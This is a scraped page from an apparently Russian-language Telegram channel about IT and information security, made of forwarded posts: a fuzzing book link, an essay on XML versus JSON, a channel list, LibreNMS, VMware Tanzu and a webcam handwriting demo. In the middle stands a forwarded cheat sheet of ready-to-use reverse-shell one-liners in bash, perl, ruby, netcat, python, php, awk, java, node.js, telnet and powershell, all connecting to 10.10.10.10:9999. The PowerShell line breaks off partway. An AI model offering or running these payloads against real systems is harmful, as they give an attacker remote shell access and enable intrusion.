Записки потомственного it'шника
275 subscribers
509 photos
40 videos
204 files
1.65K links
Краткость — сестра таланта.
Автоматизация — мать порядка.
Ransomware'щики — боги.
Батя — программист over 80+ level.
Мать — бухгалтер, соскачившая с цифр на контдитерские изделия.
Ну а я — бакалавр ИБ по собственной воле.
Update: уже магистр.
Download Telegram
Forwarded from IOSSec
Large book about fuzzing with interactive examples (jupyter). The most famous fuzzing techniques are covered.
link: https://www.fuzzingbook.org/html/00_Table_of_Contents.html

#fuzzing #interfaces #book
Forwarded from Алиса рассказывает
Gadfly —🪰 Gadfly is a Google Apps Script homework helper for pulling definitions on assignments where you are given a list of terms
Тут внезапно выяснилось, что не все знают, почему XML умер, а JSON победил. Это, если что, на моих глазах произошло, я помню, как все носились с этими XML-ками дурацкими, редакторы для них специальные писали, парсинг was a big deal. Реально было движение за XML-изацию всего, даже HTML пытались в XML засунуть (XHTML называлось, все забили в итоге).

XML — это такой очень странный формат описания данных, который ни на что в компьютере не похож. Каждый узел — это одновременно И словарь (атрибуты), И список (дети). Атомарный тип данных только один — строка. Причем все это приправлено разными условиями: словарь неполноценный (только строки), а список только рекурсивный (другие XML-элементы), пробелы у строк обрезаются, строки могут содержать другие XML элементы, список строк не создашь, ну и так далее.

И это все прекрасно, но хранить-то программистам надо совсем другие, гораздо более простые вещи: числа, строки, словари, списки. В этом смысле XML это уже не просто прозрачный формат сериализации данных, а какой-то свой собственный мир со своими условиями и философией, который не будет просто хранить какие попало данные, нет, тебе надо его уговаривать, работать с ним.

А работать никто не любит. Посмотрите:


<field type="array" name="arr">
<value type="integer">1</value>
<value type="integer">2</value>
<value type="integer">3</value>
</field>


Ну что это такое, а? Несмешно даже. Сравните:


{"arr": [1, 2, 3]}


И дело даже не в том, что в XML нельзя что-то представить. Дело именно в том, что необходим этот дополнительный шаг семантической конвертации из формата программы в XML. А JSON — это буквально ваши данные как они есть.

JSON-революция это кстати пример одной из действительно хороших и позитивных революций в IT.

Почему HTML до сих пор не переделали на JSON? Моя версия — потому что писать в основном текст с редкими вкраплениями тегов все еще удобнее в HTML. А вот все остальное — в JSON.


{"doctype": "html",
"head": {
"meta": {
"charset": "UTF-8"
},
"title": "Webpage"
},
"body": ....}


UPD: Пост слегка переписан, в первой версии проблемы XML я назвал «потому что он дерево»
Forwarded from Lil Functor
Канал перевалил за 1000 подписчиков, очень радостное для меня число! Пока вы не успели отписаться, сделаю стандартный телеграм-пост с каналами об ИТ, которые я читаю.

* @oleg_log, @oleg_fov — Олег пишет об индустрии. Удивляюсь его продуктивности и читаю, чтобы держать руку на пульсе;
* @bigflatmappa — канал контрибутора ФП-библиотек с историями о том, что он туда контрибутит. Стоит подписаться, чтобы проникнуться духом 10х программирования;
* @yourcybergrandpa — дед ворчит на облака;
* @architect_says — дед ворчит на Agile;
* @nikitonsky_pub — Никита Прокопов ворчит на всё вокруг;
* @nosingularity — о базах данных и инструментарии для них;
* @dereference_pointer_there — личный блог без чётко очерченной тематики (но частенько про Rust);
* @pmdaily — о продуктовой разработке и взаимоотношениях программиста с бизнесом;
* @scala_channel_ru — важные новости и анонсы из мира Scala;
* @daily_ponv — в основном ссылки на сложные пейперы;
* @shark_in_it — резюме пейперов о распределённых системах и базах данных;
* @scalabin — Антон давно ничего не писал, но если вдруг напишет — точно будет интересно;
* @consensus_io — о распределённых системах.

И конечно же чаты самого дружелюбного в мире сообщества, в котором высококвалифицированные специалисты помогают всем желающим стать 10x скалистом:

@scala_ru, @scala_learn, @scala_jobs, @ru_zio, @akka_ru
Forwarded from Net Survivalist
LibreNMS [ librenms.org ] полнофункциональная система мониторинга сети, с массой возможностей и поддерживаемых устройств.

Из возможностей:
• Автоматическое обнаружение устройств в сети с помощью CDP, FDP, LLDP, OSPF, BGP, SNMP и ARP.
• Настраиваемая система оповещения, уведомление по электронной почте, irc, slack и многое другое.
• Полный API для управления, построения графиков и извлечения данных из вашей сети.
• Нативные приложения для управления и получения отчетов под iOS и Android.

Репозиторий: github.com/librenms/librenms
Forwarded from Волосатый бублик
Forwarded from Zer0Day Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ӉѦСҠіИԌ ҬЄѦӍ СѦИѦL ѺҒіСіѦL DіҒԱՏіóИ
BASH REVERSE SHELLS
1) bash -i >& /dev/tcp/10.10.10.10/9999 0>&1
2) 0<&196;exec 196<>/dev/tcp/10.10.10.10/9999; sh <&196 >&196 2>&196
3) exec 5<> /dev/tcp/10.10.10.10/9999; cat <&5 | while read line; do $line 2>&5>&5; done

PERL REVERSE SHELLS
1) perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”10.10.10.10:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
2) perl -e ‘use Socket;$i=”10.10.10.10";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
3) perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”10.10.10.10:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
_
RUBY REVERSE SHELLS
1) ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“10.10.10.10”,”9999");while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
2) ruby -rsocket -e’f=TCPSocket.open(“10.10.10.10”,9999).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
3) ruby -rsocket -e ‘c=TCPSocket.new(“10.10.10.10”,”9999");while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
_
NETCAT REVERSE SHELLS
1) nc -c /bin/sh 10.10.10.10 9999
2) nc -e /bin/sh 10.10.10.10 9999
3) /bin/sh | nc 10.10.10.10 9999
4) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 9999 >/tmp/f
5) rm -f /tmp/p; mknod /tmp/p p && nc 10.10.10.10 9999 0/tmp/p
6) ncat 10.10.10.10 9999 -e /bin/sh
_
PYTHON REVERSE SHELLS
1) python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.10”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
2) python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.10”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/sh”)’
_
PHP REVERSE SHELLS
1) php -r ‘$sock=fsockopen(“10.10.10.10”,9999);exec(“/bin/sh -i <&3 >&3 2>&3”);’
2) php -r ‘$s=fsockopen(“10.10.10.10”,9999);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’
3) php -r ‘$s=fsockopen(“10.10.10.10”,9999);/bin/sh -i <&3 >&3 2>&3;’
4) php -r ‘$s=fsockopen(“10.10.10.10”,9999);system(“/bin/sh -i <&3 >&3 2>&3”);’
5) php -r ‘$s=fsockopen(“10.10.10.10”,9999);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’
_
AWK Reverse Shell
awk ‘BEGIN {s = “/inet/tcp/0/10.10.10.10/9999”; while(42) { do{ printf “shell>” |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != “exit”) close(s); }}’ /dev/null

JAVA REVERSE SHELLS
r = Runtime.getRuntime();p = r.exec([“/bin/sh”,”-c”,”exec 5<>/dev/tcp/10.10.10.10/9999;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]);p.waitFor();
_
NODE.JS REVERSE SHELL
(function(){var net=require(“net”),cp=require(“child_process”),sh=cp.spawn(“/bin/sh”,[]);var client=new net.Socket();client.connect(9999,”10.10.10.10",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
_
TELNET REVERSE SHELLS
1) rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.10 9999 0/tmp/p
2) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 10.10.10.10 9999 > /tmp/f
_
POWERSHELL REVERSE SHELLS
1) powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(“10.10.10.10”,9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($
OMG! VMware Tanzu Community Edition — бесплатное и готовое

Когда мы в первый раз рассказывали про решение для работы с микросервисными приложениями и кластерами Kubernetes VMware Tanzu в комментариях закономерно встал вопрос о стоимости. А теперь радостная новость, которая его обнуляет. На днях VMware выпустила бесплатный продукт — Tanzu Community Edition. Что это такое и кому может быть полезно?

https://habr.com/ru/company/jetinfosystems/blog/583892/
Forwarded from Neural Shit
This media is not supported in your browser
VIEW IN TELEGRAM
Интерактивное веб-демо, позволяющее писать пальцем с помощью веб-камеры и нейросети. Разворачивается прямо в браузере.

Попробовать можно тут
Технические детали тут